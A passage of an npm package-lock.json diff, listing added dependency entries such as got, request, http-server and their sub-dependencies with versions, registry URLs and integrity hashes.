"resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "got": { + "version": "11.8.0", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.0.tgz", + "integrity": "sha512-k9noyoIIY9EejuhaBNLyZ31D5328LeqnyPNXJQb2XlJZcKakLqN5m6O/ikhq/0lw56kUYS54fVm+D1x57YC9oQ==", + "requires": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz", + "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ==" + }, + "cacheable-request": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz", + "integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^4.1.0", + "responselike": "^2.0.0" + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "requires": { + "mimic-response": "^3.1.0" + } + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + }, + "json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "keyv": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "requires": { + "json-buffer": "3.0.1" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + }, + "normalize-url": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", + "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==" + }, + "p-cancelable": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz", + "integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg==" + }, + "responselike": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", + "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "requires": { + "lowercase-keys": "^2.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==" + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "has-symbol-support-x": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + }, + "has-to-string-tag-x": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", + "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "requires": { + "has-symbol-support-x": "^1.4.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "http-cache-semantics": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", + "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-server": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz", + "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==", + "requires": { + "basic-auth": "^1.0.3", + "colors": "^1.4.0", + "corser": "^2.0.1", + "ecstatic": "^3.3.2", + "http-proxy": "^1.18.0", + "minimist": "^1.2.5", + "opener": "^1.5.1", + "portfinder": "^1.0.25", + "secure-compare": "3.0.1", + "union": "~0.5.0" + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "http2-wrapper": { + "version": "1.0.0-beta.5.2", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.0-beta.5.2.tgz", + "integrity": "sha512-xYz9goEyBnC8XwXDTuC/MZ6t+MrKVQZOk4s7+PaDkwIsQd8IwqvM+0M6bA/2lvG8GHXcPdf+MejTUeO2LCPCeQ==", + "requires": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "into-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz", + "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=", + "requires": { + "from2": "^2.1.1", + "p-is-promise": "^1.1.0" + } + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg=" + }, + "is-object": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.1.tgz", + "integrity": "sha1-iVJojF7C/9awPsyF52ngKQMINHA=" + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" + }, + "is-retry-allowed": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", + "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "isurl": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", + "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", + "requires": { + "has-to-string-tag-x": "^1.2.0", + "is-object": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "lodash": { + "version": "4.17.20", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", + "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==" + }, + "mime-types": { + "version": "2.1.27", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz", + "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==", + "requires": { + "mime-db": "1.44.0" + }, + "dependencies": { + "mime-db": { + "version": "1.44.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz", + "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==" + } + } + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "normalize-url": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz", + "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==", + "requires": { + "prepend-http": "^2.0.0", + "query-string": "^5.0.1", + "sort-keys": "^2.0.0" + }, + "dependencies": { + "sort-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz", + "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=", + "requires": { + "is-plain-obj": "^1.0.0" + } + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "p-cancelable": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz", + "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ==" + }, + "p-event": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz", + "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==", + "requires": { + "p-timeout": "^2.0.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=" + }, + "p-timeout": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz", + "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==", + "requires": { + "p-finally": "^1.0.0" + } + }, + "pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "requires": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + } + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==" + }, + "qs": { + "version": "6.9.4", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz", + "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==" + }, + "query-string": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", + "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", + "requires": { + "decode-uri-component": "^0.2.0", + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } + } + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=" + }, + "resolve-alpn": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.0.0.tgz", + "integrity": "sha512-rTuiIEqFmGxne4IovivKSDzld2lWW9QCjqv80SYjPgf+gS35eaCAjaP54CCwGAwBtnCsvNLYtqxe1Nw+i6JEmA==" + }, + "responselike": { + "version": "1.0.2", + "resolved": 